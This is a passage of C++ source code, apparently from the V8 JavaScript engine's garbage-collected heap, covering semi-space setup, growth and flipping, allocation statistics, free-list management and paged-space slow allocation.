// The first word should be a map, and we expect all map pointers to
// be in map space.
Map* map = object->map();
CHECK(map->IsMap());
CHECK(heap()->map_space()->Contains(map));
// The object should not be code or a map.
CHECK(!object->IsMap());
CHECK(!object->IsCode());
// The object itself should look OK.
object->ObjectVerify();
// All the interior pointers should be contained in the heap.
VerifyPointersVisitor visitor;
int size = object->Size();
object->IterateBody(map->instance_type(), size, &visitor);
current += size;
} else {
// At end of page, switch to next page.
NewSpacePage* page = NewSpacePage::FromLimit(current)->next_page();
// Next page should be valid.
CHECK(!page->is_anchor());
current = page->area_start();
}
}
// Check semi-spaces.
CHECK_EQ(from_space_.id(), kFromSpace);
CHECK_EQ(to_space_.id(), kToSpace);
from_space_.Verify();
to_space_.Verify();
}
#endif
// -----------------------------------------------------------------------------
// SemiSpace implementation
void SemiSpace::SetUp(Address start, int initial_capacity, int target_capacity,
int maximum_capacity) {
// Creates a space in the young generation. The constructor does not
// allocate memory from the OS. A SemiSpace is given a contiguous chunk of
// memory of size 'capacity' when set up, and does not grow or shrink
// otherwise. In the mark-compact collector, the memory region of the from
// space is used as the marking stack. It requires contiguous memory
// addresses.
DCHECK(maximum_capacity >= Page::kPageSize);
DCHECK(initial_capacity <= target_capacity);
DCHECK(target_capacity <= maximum_capacity);
initial_total_capacity_ = RoundDown(initial_capacity, Page::kPageSize);
total_capacity_ = initial_capacity;
target_capacity_ = RoundDown(target_capacity, Page::kPageSize);
maximum_total_capacity_ = RoundDown(maximum_capacity, Page::kPageSize);
maximum_committed_ = 0;
committed_ = false;
start_ = start;
address_mask_ = ~(maximum_capacity - 1);
object_mask_ = address_mask_ | kHeapObjectTagMask;
object_expected_ = reinterpret_cast<uintptr_t>(start) | kHeapObjectTag;
age_mark_ = start_ + NewSpacePage::kObjectStartOffset;
}
void SemiSpace::TearDown() {
start_ = NULL;
total_capacity_ = 0;
}
bool SemiSpace::Commit() {
DCHECK(!is_committed());
int pages = total_capacity_ / Page::kPageSize;
if (!heap()->isolate()->memory_allocator()->CommitBlock(
start_, total_capacity_, executable())) {
return false;
}
NewSpacePage* current = anchor();
for (int i = 0; i < pages; i++) {
NewSpacePage* new_page =
NewSpacePage::Initialize(heap(), start_ + i * Page::kPageSize, this);
new_page->InsertAfter(current);
current = new_page;
}
SetCapacity(total_capacity_);
committed_ = true;
Reset();
return true;
}
bool SemiSpace::Uncommit() {
DCHECK(is_committed());
Address start = start_ + maximum_total_capacity_ - total_capacity_;
if (!heap()->isolate()->memory_allocator()->UncommitBlock(start,
total_capacity_)) {
return false;
}
anchor()->set_next_page(anchor());
anchor()->set_prev_page(anchor());
committed_ = false;
return true;
}
size_t SemiSpace::CommittedPhysicalMemory() {
if (!is_committed()) return 0;
size_t size = 0;
NewSpacePageIterator it(this);
while (it.has_next()) {
size += it.next()->CommittedPhysicalMemory();
}
return size;
}
bool SemiSpace::GrowTo(int new_capacity) {
if (!is_committed()) {
if (!Commit()) return false;
}
DCHECK((new_capacity & Page::kPageAlignmentMask) == 0);
DCHECK(new_capacity <= maximum_total_capacity_);
DCHECK(new_capacity > total_capacity_);
int pages_before = total_capacity_ / Page::kPageSize;
int pages_after = new_capacity / Page::kPageSize;
size_t delta = new_capacity - total_capacity_;
DCHECK(IsAligned(delta, base::OS::AllocateAlignment()));
if (!heap()->isolate()->memory_allocator()->CommitBlock(
start_ + total_capacity_, delta, executable())) {
return false;
}
SetCapacity(new_capacity);
NewSpacePage* last_page = anchor()->prev_page();
DCHECK(last_page != anchor());
for (int i = pages_before; i < pages_after; i++) {
Address page_address = start_ + i * Page::kPageSize;
NewSpacePage* new_page =
NewSpacePage::Initialize(heap(), page_address, this);
new_page->InsertAfter(last_page);
Bitmap::Clear(new_page);
// Duplicate the flags that was set on the old page.
new_page->SetFlags(last_page->GetFlags(),
NewSpacePage::kCopyOnFlipFlagsMask);
last_page = new_page;
}
return true;
}
bool SemiSpace::ShrinkTo(int new_capacity) {
DCHECK((new_capacity & Page::kPageAlignmentMask) == 0);
DCHECK(new_capacity >= initial_total_capacity_);
DCHECK(new_capacity < total_capacity_);
if (is_committed()) {
size_t delta = total_capacity_ - new_capacity;
DCHECK(IsAligned(delta, base::OS::AllocateAlignment()));
MemoryAllocator* allocator = heap()->isolate()->memory_allocator();
if (!allocator->UncommitBlock(start_ + new_capacity, delta)) {
return false;
}
int pages_after = new_capacity / Page::kPageSize;
NewSpacePage* new_last_page =
NewSpacePage::FromAddress(start_ + (pages_after - 1) * Page::kPageSize);
new_last_page->set_next_page(anchor());
anchor()->set_prev_page(new_last_page);
DCHECK((current_page_ >= first_page()) && (current_page_ <= new_last_page));
}
SetCapacity(new_capacity);
return true;
}
bool SemiSpace::SetTotalCapacity(int new_capacity) {
CHECK(!is_committed());
if (new_capacity >= initial_total_capacity_ &&
new_capacity <= maximum_total_capacity_) {
total_capacity_ = new_capacity;
return true;
}
return false;
}
void SemiSpace::FlipPages(intptr_t flags, intptr_t mask) {
anchor_.set_owner(this);
// Fixup back-pointers to anchor. Address of anchor changes
// when we swap.
anchor_.prev_page()->set_next_page(&anchor_);
anchor_.next_page()->set_prev_page(&anchor_);
bool becomes_to_space = (id_ == kFromSpace);
id_ = becomes_to_space ? kToSpace : kFromSpace;
NewSpacePage* page = anchor_.next_page();
while (page != &anchor_) {
page->set_owner(this);
page->SetFlags(flags, mask);
if (becomes_to_space) {
page->ClearFlag(MemoryChunk::IN_FROM_SPACE);
page->SetFlag(MemoryChunk::IN_TO_SPACE);
page->ClearFlag(MemoryChunk::NEW_SPACE_BELOW_AGE_MARK);
page->ResetLiveBytes();
} else {
page->SetFlag(MemoryChunk::IN_FROM_SPACE);
page->ClearFlag(MemoryChunk::IN_TO_SPACE);
}
DCHECK(page->IsFlagSet(MemoryChunk::SCAN_ON_SCAVENGE));
DCHECK(page->IsFlagSet(MemoryChunk::IN_TO_SPACE) ||
page->IsFlagSet(MemoryChunk::IN_FROM_SPACE));
page = page->next_page();
}
}
void SemiSpace::Reset() {
DCHECK(anchor_.next_page() != &anchor_);
current_page_ = anchor_.next_page();
}
void SemiSpace::Swap(SemiSpace* from, SemiSpace* to) {
// We won't be swapping semispaces without data in them.
DCHECK(from->anchor_.next_page() != &from->anchor_);
DCHECK(to->anchor_.next_page() != &to->anchor_);
// Swap bits.
SemiSpace tmp = *from;
*from = *to;
*to = tmp;
// Fixup back-pointers to the page list anchor now that its address
// has changed.
// Swap to/from-space bits on pages.
// Copy GC flags from old active space (from-space) to new (to-space).
intptr_t flags = from->current_page()->GetFlags();
to->FlipPages(flags, NewSpacePage::kCopyOnFlipFlagsMask);
from->FlipPages(0, 0);
}
void SemiSpace::SetCapacity(int new_capacity) {
total_capacity_ = new_capacity;
if (total_capacity_ > maximum_committed_) {
maximum_committed_ = total_capacity_;
}
}
void SemiSpace::set_age_mark(Address mark) {
DCHECK(NewSpacePage::FromLimit(mark)->semi_space() == this);
age_mark_ = mark;
// Mark all pages up to the one containing mark.
NewSpacePageIterator it(space_start(), mark);
while (it.has_next()) {
it.next()->SetFlag(MemoryChunk::NEW_SPACE_BELOW_AGE_MARK);
}
}
#ifdef DEBUG
void SemiSpace::Print() {}
#endif
#ifdef VERIFY_HEAP
void SemiSpace::Verify() {
bool is_from_space = (id_ == kFromSpace);
NewSpacePage* page = anchor_.next_page();
CHECK(anchor_.semi_space() == this);
while (page != &anchor_) {
CHECK(page->semi_space() == this);
CHECK(page->InNewSpace());
CHECK(page->IsFlagSet(is_from_space ? MemoryChunk::IN_FROM_SPACE
: MemoryChunk::IN_TO_SPACE));
CHECK(!page->IsFlagSet(is_from_space ? MemoryChunk::IN_TO_SPACE
: MemoryChunk::IN_FROM_SPACE));
CHECK(page->IsFlagSet(MemoryChunk::POINTERS_TO_HERE_ARE_INTERESTING));
if (!is_from_space) {
// The pointers-from-here-are-interesting flag isn't updated dynamically
// on from-space pages, so it might be out of sync with the marking state.
if (page->heap()->incremental_marking()->IsMarking()) {
CHECK(page->IsFlagSet(MemoryChunk::POINTERS_FROM_HERE_ARE_INTERESTING));
} else {
CHECK(
!page->IsFlagSet(MemoryChunk::POINTERS_FROM_HERE_ARE_INTERESTING));
}
// TODO(gc): Check that the live_bytes_count_ field matches the
// black marking on the page (if we make it match in new-space).
}
CHECK(page->IsFlagSet(MemoryChunk::SCAN_ON_SCAVENGE));
CHECK(page->prev_page()->next_page() == page);
page = page->next_page();
}
}
#endif
#ifdef DEBUG
void SemiSpace::AssertValidRange(Address start, Address end) {
// Addresses belong to same semi-space
NewSpacePage* page = NewSpacePage::FromLimit(start);
NewSpacePage* end_page = NewSpacePage::FromLimit(end);
SemiSpace* space = page->semi_space();
CHECK_EQ(space, end_page->semi_space());
// Start address is before end address, either on same page,
// or end address is on a later page in the linked list of
// semi-space pages.
if (page == end_page) {
CHECK(start <= end);
} else {
while (page != end_page) {
page = page->next_page();
CHECK_NE(page, space->anchor());
}
}
}
#endif
// -----------------------------------------------------------------------------
// SemiSpaceIterator implementation.
SemiSpaceIterator::SemiSpaceIterator(NewSpace* space) {
Initialize(space->bottom(), space->top(), NULL);
}
SemiSpaceIterator::SemiSpaceIterator(NewSpace* space,
HeapObjectCallback size_func) {
Initialize(space->bottom(), space->top(), size_func);
}
SemiSpaceIterator::SemiSpaceIterator(NewSpace* space, Address start) {
Initialize(start, space->top(), NULL);
}
SemiSpaceIterator::SemiSpaceIterator(Address from, Address to) {
Initialize(from, to, NULL);
}
void SemiSpaceIterator::Initialize(Address start, Address end,
HeapObjectCallback size_func) {
SemiSpace::AssertValidRange(start, end);
current_ = start;
limit_ = end;
size_func_ = size_func;
}
#ifdef DEBUG
// heap_histograms is shared, always clear it before using it.
static void ClearHistograms(Isolate* isolate) {
// We reset the name each time, though it hasn't changed.
#define DEF_TYPE_NAME(name) isolate->heap_histograms()[name].set_name(#name);
INSTANCE_TYPE_LIST(DEF_TYPE_NAME)
#undef DEF_TYPE_NAME
#define CLEAR_HISTOGRAM(name) isolate->heap_histograms()[name].clear();
INSTANCE_TYPE_LIST(CLEAR_HISTOGRAM)
#undef CLEAR_HISTOGRAM
isolate->js_spill_information()->Clear();
}
static void ClearCodeKindStatistics(int* code_kind_statistics) {
for (int i = 0; i < Code::NUMBER_OF_KINDS; i++) {
code_kind_statistics[i] = 0;
}
}
static void ReportCodeKindStatistics(int* code_kind_statistics) {
PrintF("\n Code kind histograms: \n");
for (int i = 0; i < Code::NUMBER_OF_KINDS; i++) {
if (code_kind_statistics[i] > 0) {
PrintF(" %-20s: %10d bytes\n",
Code::Kind2String(static_cast<Code::Kind>(i)),
code_kind_statistics[i]);
}
}
PrintF("\n");
}
static int CollectHistogramInfo(HeapObject* obj) {
Isolate* isolate = obj->GetIsolate();
InstanceType type = obj->map()->instance_type();
DCHECK(0 <= type && type <= LAST_TYPE);
DCHECK(isolate->heap_histograms()[type].name() != NULL);
isolate->heap_histograms()[type].increment_number(1);
isolate->heap_histograms()[type].increment_bytes(obj->Size());
if (FLAG_collect_heap_spill_statistics && obj->IsJSObject()) {
JSObject::cast(obj)
->IncrementSpillStatistics(isolate->js_spill_information());
}
return obj->Size();
}
static void ReportHistogram(Isolate* isolate, bool print_spill) {
PrintF("\n Object Histogram:\n");
for (int i = 0; i <= LAST_TYPE; i++) {
if (isolate->heap_histograms()[i].number() > 0) {
PrintF(" %-34s%10d (%10d bytes)\n",
isolate->heap_histograms()[i].name(),
isolate->heap_histograms()[i].number(),
isolate->heap_histograms()[i].bytes());
}
}
PrintF("\n");
// Summarize string types.
int string_number = 0;
int string_bytes = 0;
#define INCREMENT(type, size, name, camel_name) \
string_number += isolate->heap_histograms()[type].number(); \
string_bytes += isolate->heap_histograms()[type].bytes();
STRING_TYPE_LIST(INCREMENT)
#undef INCREMENT
if (string_number > 0) {
PrintF(" %-34s%10d (%10d bytes)\n\n", "STRING_TYPE", string_number,
string_bytes);
}
if (FLAG_collect_heap_spill_statistics && print_spill) {
isolate->js_spill_information()->Print();
}
}
#endif // DEBUG
// Support for statistics gathering for --heap-stats and --log-gc.
void NewSpace::ClearHistograms() {
for (int i = 0; i <= LAST_TYPE; i++) {
allocated_histogram_[i].clear();
promoted_histogram_[i].clear();
}
}
// Because the copying collector does not touch garbage objects, we iterate
// the new space before a collection to get a histogram of allocated objects.
// This only happens when --log-gc flag is set.
void NewSpace::CollectStatistics() {
ClearHistograms();
SemiSpaceIterator it(this);
for (HeapObject* obj = it.Next(); obj != NULL; obj = it.Next())
RecordAllocation(obj);
}
static void DoReportStatistics(Isolate* isolate, HistogramInfo* info,
const char* description) {
LOG(isolate, HeapSampleBeginEvent("NewSpace", description));
// Lump all the string types together.
int string_number = 0;
int string_bytes = 0;
#define INCREMENT(type, size, name, camel_name) \
string_number += info[type].number(); \
string_bytes += info[type].bytes();
STRING_TYPE_LIST(INCREMENT)
#undef INCREMENT
if (string_number > 0) {
LOG(isolate,
HeapSampleItemEvent("STRING_TYPE", string_number, string_bytes));
}
// Then do the other types.
for (int i = FIRST_NONSTRING_TYPE; i <= LAST_TYPE; ++i) {
if (info[i].number() > 0) {
LOG(isolate, HeapSampleItemEvent(info[i].name(), info[i].number(),
info[i].bytes()));
}
}
LOG(isolate, HeapSampleEndEvent("NewSpace", description));
}
void NewSpace::ReportStatistics() {
#ifdef DEBUG
if (FLAG_heap_stats) {
float pct = static_cast<float>(Available()) / TotalCapacity();
PrintF(" capacity: %" V8_PTR_PREFIX
"d"
", available: %" V8_PTR_PREFIX "d, %%%d\n",
TotalCapacity(), Available(), static_cast<int>(pct * 100));
PrintF("\n Object Histogram:\n");
for (int i = 0; i <= LAST_TYPE; i++) {
if (allocated_histogram_[i].number() > 0) {
PrintF(" %-34s%10d (%10d bytes)\n", allocated_histogram_[i].name(),
allocated_histogram_[i].number(),
allocated_histogram_[i].bytes());
}
}
PrintF("\n");
}
#endif // DEBUG
if (FLAG_log_gc) {
Isolate* isolate = heap()->isolate();
DoReportStatistics(isolate, allocated_histogram_, "allocated");
DoReportStatistics(isolate, promoted_histogram_, "promoted");
}
}
void NewSpace::RecordAllocation(HeapObject* obj) {
InstanceType type = obj->map()->instance_type();
DCHECK(0 <= type && type <= LAST_TYPE);
allocated_histogram_[type].increment_number(1);
allocated_histogram_[type].increment_bytes(obj->Size());
}
void NewSpace::RecordPromotion(HeapObject* obj) {
InstanceType type = obj->map()->instance_type();
DCHECK(0 <= type && type <= LAST_TYPE);
promoted_histogram_[type].increment_number(1);
promoted_histogram_[type].increment_bytes(obj->Size());
}
size_t NewSpace::CommittedPhysicalMemory() {
if (!base::VirtualMemory::HasLazyCommits()) return CommittedMemory();
MemoryChunk::UpdateHighWaterMark(allocation_info_.top());
size_t size = to_space_.CommittedPhysicalMemory();
if (from_space_.is_committed()) {
size += from_space_.CommittedPhysicalMemory();
}
return size;
}
// -----------------------------------------------------------------------------
// Free lists for old object spaces implementation
intptr_t FreeListCategory::Concatenate(FreeListCategory* category) {
intptr_t free_bytes = 0;
if (category->top() != NULL) {
// This is safe (not going to deadlock) since Concatenate operations
// are never performed on the same free lists at the same time in
// reverse order.
base::LockGuard<base::Mutex> target_lock_guard(mutex());
base::LockGuard<base::Mutex> source_lock_guard(category->mutex());
DCHECK(category->end_ != NULL);
free_bytes = category->available();
if (end_ == NULL) {
end_ = category->end();
} else {
category->end()->set_next(top());
}
set_top(category->top());
base::NoBarrier_Store(&top_, category->top_);
available_ += category->available();
category->Reset();
}
return free_bytes;
}
void FreeListCategory::Reset() {
set_top(NULL);
set_end(NULL);
set_available(0);
}
intptr_t FreeListCategory::EvictFreeListItemsInList(Page* p) {
int sum = 0;
FreeSpace* t = top();
FreeSpace** n = &t;
while (*n != NULL) {
if (Page::FromAddress((*n)->address()) == p) {
FreeSpace* free_space = *n;
sum += free_space->Size();
*n = (*n)->next();
} else {
n = (*n)->next_address();
}
}
set_top(t);
if (top() == NULL) {
set_end(NULL);
}
available_ -= sum;
return sum;
}
bool FreeListCategory::ContainsPageFreeListItemsInList(Page* p) {
FreeSpace* node = top();
while (node != NULL) {
if (Page::FromAddress(node->address()) == p) return true;
node = node->next();
}
return false;
}
FreeSpace* FreeListCategory::PickNodeFromList(int* node_size) {
FreeSpace* node = top();
if (node == NULL) return NULL;
while (node != NULL &&
Page::FromAddress(node->address())->IsEvacuationCandidate()) {
available_ -= node->Size();
node = node->next();
}
if (node != NULL) {
set_top(node->next());
*node_size = node->Size();
available_ -= *node_size;
} else {
set_top(NULL);
}
if (top() == NULL) {
set_end(NULL);
}
return node;
}
FreeSpace* FreeListCategory::PickNodeFromList(int size_in_bytes,
int* node_size) {
FreeSpace* node = PickNodeFromList(node_size);
if (node != NULL && *node_size < size_in_bytes) {
Free(node, *node_size);
*node_size = 0;
return NULL;
}
return node;
}
void FreeListCategory::Free(FreeSpace* free_space, int size_in_bytes) {
DCHECK_LE(FreeList::kSmallListMin, size_in_bytes);
free_space->set_next(top());
set_top(free_space);
if (end_ == NULL) {
end_ = free_space;
}
available_ += size_in_bytes;
}
void FreeListCategory::RepairFreeList(Heap* heap) {
FreeSpace* n = top();
while (n != NULL) {
Map** map_location = reinterpret_cast<Map**>(n->address());
if (*map_location == NULL) {
*map_location = heap->free_space_map();
} else {
DCHECK(*map_location == heap->free_space_map());
}
n = n->next();
}
}
FreeList::FreeList(PagedSpace* owner) : owner_(owner), heap_(owner->heap()) {
Reset();
}
intptr_t FreeList::Concatenate(FreeList* free_list) {
intptr_t free_bytes = 0;
free_bytes += small_list_.Concatenate(free_list->small_list());
free_bytes += medium_list_.Concatenate(free_list->medium_list());
free_bytes += large_list_.Concatenate(free_list->large_list());
free_bytes += huge_list_.Concatenate(free_list->huge_list());
return free_bytes;
}
void FreeList::Reset() {
small_list_.Reset();
medium_list_.Reset();
large_list_.Reset();
huge_list_.Reset();
}
int FreeList::Free(Address start, int size_in_bytes) {
if (size_in_bytes == 0) return 0;
heap_->CreateFillerObjectAt(start, size_in_bytes);
Page* page = Page::FromAddress(start);
// Early return to drop too-small blocks on the floor.
if (size_in_bytes < kSmallListMin) {
page->add_non_available_small_blocks(size_in_bytes);
return size_in_bytes;
}
FreeSpace* free_space = FreeSpace::cast(HeapObject::FromAddress(start));
// Insert other blocks at the head of a free list of the appropriate
// magnitude.
if (size_in_bytes <= kSmallListMax) {
small_list_.Free(free_space, size_in_bytes);
page->add_available_in_small_free_list(size_in_bytes);
} else if (size_in_bytes <= kMediumListMax) {
medium_list_.Free(free_space, size_in_bytes);
page->add_available_in_medium_free_list(size_in_bytes);
} else if (size_in_bytes <= kLargeListMax) {
large_list_.Free(free_space, size_in_bytes);
page->add_available_in_large_free_list(size_in_bytes);
} else {
huge_list_.Free(free_space, size_in_bytes);
page->add_available_in_huge_free_list(size_in_bytes);
}
DCHECK(IsVeryLong() || available() == SumFreeLists());
return 0;
}
FreeSpace* FreeList::FindNodeFor(int size_in_bytes, int* node_size) {
FreeSpace* node = NULL;
Page* page = NULL;
if (size_in_bytes <= kSmallAllocationMax) {
node = small_list_.PickNodeFromList(node_size);
if (node != NULL) {
DCHECK(size_in_bytes <= *node_size);
page = Page::FromAddress(node->address());
page->add_available_in_small_free_list(-(*node_size));
DCHECK(IsVeryLong() || available() == SumFreeLists());
return node;
}
}
if (size_in_bytes <= kMediumAllocationMax) {
node = medium_list_.PickNodeFromList(node_size);
if (node != NULL) {
DCHECK(size_in_bytes <= *node_size);
page = Page::FromAddress(node->address());
page->add_available_in_medium_free_list(-(*node_size));
DCHECK(IsVeryLong() || available() == SumFreeLists());
return node;
}
}
if (size_in_bytes <= kLargeAllocationMax) {
node = large_list_.PickNodeFromList(node_size);
if (node != NULL) {
DCHECK(size_in_bytes <= *node_size);
page = Page::FromAddress(node->address());
page->add_available_in_large_free_list(-(*node_size));
DCHECK(IsVeryLong() || available() == SumFreeLists());
return node;
}
}
int huge_list_available = huge_list_.available();
FreeSpace* top_node = huge_list_.top();
for (FreeSpace** cur = &top_node; *cur != NULL;
cur = (*cur)->next_address()) {
FreeSpace* cur_node = *cur;
while (cur_node != NULL &&
Page::FromAddress(cur_node->address())->IsEvacuationCandidate()) {
int size = cur_node->Size();
huge_list_available -= size;
page = Page::FromAddress(cur_node->address());
page->add_available_in_huge_free_list(-size);
cur_node = cur_node->next();
}
*cur = cur_node;
if (cur_node == NULL) {
huge_list_.set_end(NULL);
break;
}
int size = cur_node->Size();
if (size >= size_in_bytes) {
// Large enough node found. Unlink it from the list.
node = *cur;
*cur = node->next();
*node_size = size;
huge_list_available -= size;
page = Page::FromAddress(node->address());
page->add_available_in_huge_free_list(-size);
break;
}
}
huge_list_.set_top(top_node);
if (huge_list_.top() == NULL) {
huge_list_.set_end(NULL);
}
huge_list_.set_available(huge_list_available);
if (node != NULL) {
DCHECK(IsVeryLong() || available() == SumFreeLists());
return node;
}
if (size_in_bytes <= kSmallListMax) {
node = small_list_.PickNodeFromList(size_in_bytes, node_size);
if (node != NULL) {
DCHECK(size_in_bytes <= *node_size);
page = Page::FromAddress(node->address());
page->add_available_in_small_free_list(-(*node_size));
}
} else if (size_in_bytes <= kMediumListMax) {
node = medium_list_.PickNodeFromList(size_in_bytes, node_size);
if (node != NULL) {
DCHECK(size_in_bytes <= *node_size);
page = Page::FromAddress(node->address());
page->add_available_in_medium_free_list(-(*node_size));
}
} else if (size_in_bytes <= kLargeListMax) {
node = large_list_.PickNodeFromList(size_in_bytes, node_size);
if (node != NULL) {
DCHECK(size_in_bytes <= *node_size);
page = Page::FromAddress(node->address());
page->add_available_in_large_free_list(-(*node_size));
}
}
DCHECK(IsVeryLong() || available() == SumFreeLists());
return node;
}
// Allocation on the old space free list. If it succeeds then a new linear
// allocation space has been set up with the top and limit of the space. If
// the allocation fails then NULL is returned, and the caller can perform a GC
// or allocate a new page before retrying.
HeapObject* FreeList::Allocate(int size_in_bytes) {
DCHECK(0 < size_in_bytes);
DCHECK(size_in_bytes <= kMaxBlockSize);
DCHECK(IsAligned(size_in_bytes, kPointerSize));
// Don't free list allocate if there is linear space available.
DCHECK(owner_->limit() - owner_->top() < size_in_bytes);
int old_linear_size = static_cast<int>(owner_->limit() - owner_->top());
// Mark the old linear allocation area with a free space map so it can be
// skipped when scanning the heap. This also puts it back in the free list
// if it is big enough.
owner_->Free(owner_->top(), old_linear_size);
owner_->heap()->incremental_marking()->OldSpaceStep(size_in_bytes -
old_linear_size);
int new_node_size = 0;
FreeSpace* new_node = FindNodeFor(size_in_bytes, &new_node_size);
if (new_node == NULL) {
owner_->SetTopAndLimit(NULL, NULL);
return NULL;
}
int bytes_left = new_node_size - size_in_bytes;
DCHECK(bytes_left >= 0);
#ifdef DEBUG
for (int i = 0; i < size_in_bytes / kPointerSize; i++) {
reinterpret_cast<Object**>(new_node->address())[i] =
Smi::FromInt(kCodeZapValue);
}
#endif
// The old-space-step might have finished sweeping and restarted marking.
// Verify that it did not turn the page of the new node into an evacuation
// candidate.
DCHECK(!MarkCompactCollector::IsOnEvacuationCandidate(new_node));
const int kThreshold = IncrementalMarking::kAllocatedThreshold;
// Memory in the linear allocation area is counted as allocated. We may free
// a little of this again immediately - see below.
owner_->Allocate(new_node_size);
if (owner_->heap()->inline_allocation_disabled()) {
// Keep the linear allocation area empty if requested to do so, just
// return area back to the free list instead.
owner_->Free(new_node->address() + size_in_bytes, bytes_left);
DCHECK(owner_->top() == NULL && owner_->limit() == NULL);
} else if (bytes_left > kThreshold &&
owner_->heap()->incremental_marking()->IsMarkingIncomplete() &&
FLAG_incremental_marking_steps) {
int linear_size = owner_->RoundSizeDownToObjectAlignment(kThreshold);
// We don't want to give too large linear areas to the allocator while
// incremental marking is going on, because we won't check again whether
// we want to do another increment until the linear area is used up.
owner_->Free(new_node->address() + size_in_bytes + linear_size,
new_node_size - size_in_bytes - linear_size);
owner_->SetTopAndLimit(new_node->address() + size_in_bytes,
new_node->address() + size_in_bytes + linear_size);
} else if (bytes_left > 0) {
// Normally we give the rest of the node to the allocator as its new
// linear allocation area.
owner_->SetTopAndLimit(new_node->address() + size_in_bytes,
new_node->address() + new_node_size);
} else {
// TODO(gc) Try not freeing linear allocation region when bytes_left
// are zero.
owner_->SetTopAndLimit(NULL, NULL);
}
return new_node;
}
intptr_t FreeList::EvictFreeListItems(Page* p) {
intptr_t sum = huge_list_.EvictFreeListItemsInList(p);
p->set_available_in_huge_free_list(0);
if (sum < p->area_size()) {
sum += small_list_.EvictFreeListItemsInList(p) +
medium_list_.EvictFreeListItemsInList(p) +
large_list_.EvictFreeListItemsInList(p);
p->set_available_in_small_free_list(0);
p->set_available_in_medium_free_list(0);
p->set_available_in_large_free_list(0);
}
return sum;
}
bool FreeList::ContainsPageFreeListItems(Page* p) {
return huge_list_.EvictFreeListItemsInList(p) ||
small_list_.EvictFreeListItemsInList(p) ||
medium_list_.EvictFreeListItemsInList(p) ||
large_list_.EvictFreeListItemsInList(p);
}
void FreeList::RepairLists(Heap* heap) {
small_list_.RepairFreeList(heap);
medium_list_.RepairFreeList(heap);
large_list_.RepairFreeList(heap);
huge_list_.RepairFreeList(heap);
}
#ifdef DEBUG
intptr_t FreeListCategory::SumFreeList() {
intptr_t sum = 0;
FreeSpace* cur = top();
while (cur != NULL) {
DCHECK(cur->map() == cur->GetHeap()->raw_unchecked_free_space_map());
sum += cur->nobarrier_size();
cur = cur->next();
}
return sum;
}
static const int kVeryLongFreeList = 500;
int FreeListCategory::FreeListLength() {
int length = 0;
FreeSpace* cur = top();
while (cur != NULL) {
length++;
cur = cur->next();
if (length == kVeryLongFreeList) return length;
}
return length;
}
bool FreeList::IsVeryLong() {
if (small_list_.FreeListLength() == kVeryLongFreeList) return true;
if (medium_list_.FreeListLength() == kVeryLongFreeList) return true;
if (large_list_.FreeListLength() == kVeryLongFreeList) return true;
if (huge_list_.FreeListLength() == kVeryLongFreeList) return true;
return false;
}
// This can take a very long time because it is linear in the number of entries
// on the free list, so it should not be called if FreeListLength returns
// kVeryLongFreeList.
intptr_t FreeList::SumFreeLists() {
intptr_t sum = small_list_.SumFreeList();
sum += medium_list_.SumFreeList();
sum += large_list_.SumFreeList();
sum += huge_list_.SumFreeList();
return sum;
}
#endif
// -----------------------------------------------------------------------------
// OldSpace implementation
void PagedSpace::PrepareForMarkCompact() {
// We don't have a linear allocation area while sweeping. It will be restored
// on the first allocation after the sweep.
EmptyAllocationInfo();
// This counter will be increased for pages which will be swept by the
// sweeper threads.
unswept_free_bytes_ = 0;
// Clear the free list before a full GC---it will be rebuilt afterward.
free_list_.Reset();
}
intptr_t PagedSpace::SizeOfObjects() {
DCHECK(!FLAG_concurrent_sweeping ||
heap()->mark_compact_collector()->sweeping_in_progress() ||
(unswept_free_bytes_ == 0));
return Size() - unswept_free_bytes_ - (limit() - top());
}
// After we have booted, we have created a map which represents free space
// on the heap. If there was already a free list then the elements on it
// were created with the wrong FreeSpaceMap (normally NULL), so we need to
// fix them.
void PagedSpace::RepairFreeListsAfterDeserialization() {
free_list_.RepairLists(heap());
// Each page may have a small free space that is not tracked by a free list.
// Update the maps for those free space objects.
PageIterator iterator(this);
while (iterator.has_next()) {
Page* page = iterator.next();
int size = static_cast<int>(page->non_available_small_blocks());
if (size == 0) continue;
Address address = page->OffsetToAddress(Page::kPageSize - size);
heap()->CreateFillerObjectAt(address, size);
}
}
void PagedSpace::EvictEvacuationCandidatesFromFreeLists() {
if (allocation_info_.top() >= allocation_info_.limit()) return;
if (Page::FromAllocationTop(allocation_info_.top())
->IsEvacuationCandidate()) {
// Create filler object to keep page iterable if it was iterable.
int remaining =
static_cast<int>(allocation_info_.limit() - allocation_info_.top());
heap()->CreateFillerObjectAt(allocation_info_.top(), remaining);
allocation_info_.set_top(NULL);
allocation_info_.set_limit(NULL);
}
}
HeapObject* PagedSpace::WaitForSweeperThreadsAndRetryAllocation(
int size_in_bytes) {
MarkCompactCollector* collector = heap()->mark_compact_collector();
if (collector->sweeping_in_progress()) {
// Wait for the sweeper threads here and complete the sweeping phase.
collector->EnsureSweepingCompleted();
// After waiting for the sweeper threads, there may be new free-list
// entries.
return free_list_.Allocate(size_in_bytes);
}
return NULL;
}
HeapObject* PagedSpace::SlowAllocateRaw(int size_in_bytes) {
// Allocation in this space has failed.
MarkCompactCollector* collector = heap()->mark_compact_collector();
// Sweeping is still in progress.
if (collector->sweeping_in_progress()) {
// First try to refill the free-list, concurrent sweeper threads
// may have freed some objects in the meantime.
collector->RefillFreeList(this);
// Retry the free list allocation.
HeapObject* object = free_list_.Allocate(size_in_bytes);
if (object != NULL) return object;
// If sweeping is still in progress try to sweep pages on the main thread.
int free_chunk = collector->SweepInParallel(this, size_in_bytes);
collector->RefillFreeList(this);
if (free_chunk >= size_in_bytes) {
HeapObject* object = free_list_.Allocate(size_in_bytes);
// We should be able to allocate an object here since we just freed that
// much memory.
DCHECK(object != NULL);
if (object != NULL) return object;
}
}
// Free list allocation failed and there is no next page. Fail if we have
// hit the old generation size limit that should cause a garbage
// collection.
if (!heap()->always_allocate() &&
heap()->OldGenerationAllocationLimitReached()) {
// If sweeper threads are active, wait for them at that point and steal
// elements form their free-lists.
HeapObject* object = WaitForSweeperThreadsAndRetryAllocation(size_in_bytes);
return object;
}
// Try to expand the space and allocate in the new next page.
if (Expand()) {
DCHECK(CountTotalPages() > 1 || size_in_bytes <= free_list_.available());
return free_list_.Allocate(size_in_bytes);
}
// If sweeper threads are active, wait for them at that point and steal
// elements form their free-lists. Allocation may still fail their which
// would indicate that there is not enough memory for the given allocation.
return WaitForSweeperThreadsAndRetryAllocation(size_in_bytes);
}
#ifdef DEBUG
void PagedSpace::ReportCodeStatistics(Isolate* isolate) {
CommentStatistic* comments_statistics =
isolate->paged_space_comments_statistics();
ReportCodeKindStatistics(isolate->code_kind_statistics());
PrintF(
